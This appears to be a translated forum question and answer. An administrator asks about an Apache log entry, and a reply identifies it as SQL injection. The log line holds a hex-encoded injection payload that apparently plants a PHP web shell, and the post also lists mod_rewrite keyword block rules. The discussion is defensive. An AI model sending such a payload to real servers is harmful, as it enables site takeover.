我在 Apache 访问日志中看到了很多这样的内容

我在 Apache 访问日志中看到了很多这样的内容
14.210.192.182 - - [01/May/2019:04:43:14 -0500] "GET /user.php?act=login HTTP/1.1" 302 233 "554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\"num\";s:288:\"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A325A6B5A334575634768774A79776E50443977614841675A585A686243676B583142505531526262475678645630704F79412F506963702729293B2F2F7D787878,10-- -\";s:2:\"id\";s:3:\"'/*\";}" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)"

我什至不确定这种类型的漏洞将如何发挥作用。看起来它正在尝试从引用序列化数据运行 sql。这有什么值得担心的吗?服务器上的所有 Web 应用程序都使用 PDO 和准备好的语句。

Jail list:   apache-badbots, apache-noscript, apache-overflows, apache-sqlinject, sshd

RewriteCond %{QUERY_STRING} ^.*(localhost|loopback|127\.0\.0\.1).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(union|schema|sql|jdatabasedriver|ini_set|user\.php).* [NC]
RewriteRule ^(.*)$ - [F,L]

RewriteCond %{HTTP_REFERER} ^.*(union|schema|sql|jdatabasedriver|ini_set|user\.php).* [NC]
RewriteRule ^(.*)$ - [F,L]

答案1

有人正在尝试 SQL 注入。如果你的代码是安全的,那就应该没问题。您可以安装 apache modsecurity 并创建一些规则来拒绝此类内容,或者可能配置fail2ban 以自动添加 IP 地址,在黑名单中执行类似操作。 .htaccess 中的几行也可以切断对此类人员的访问。

相关内容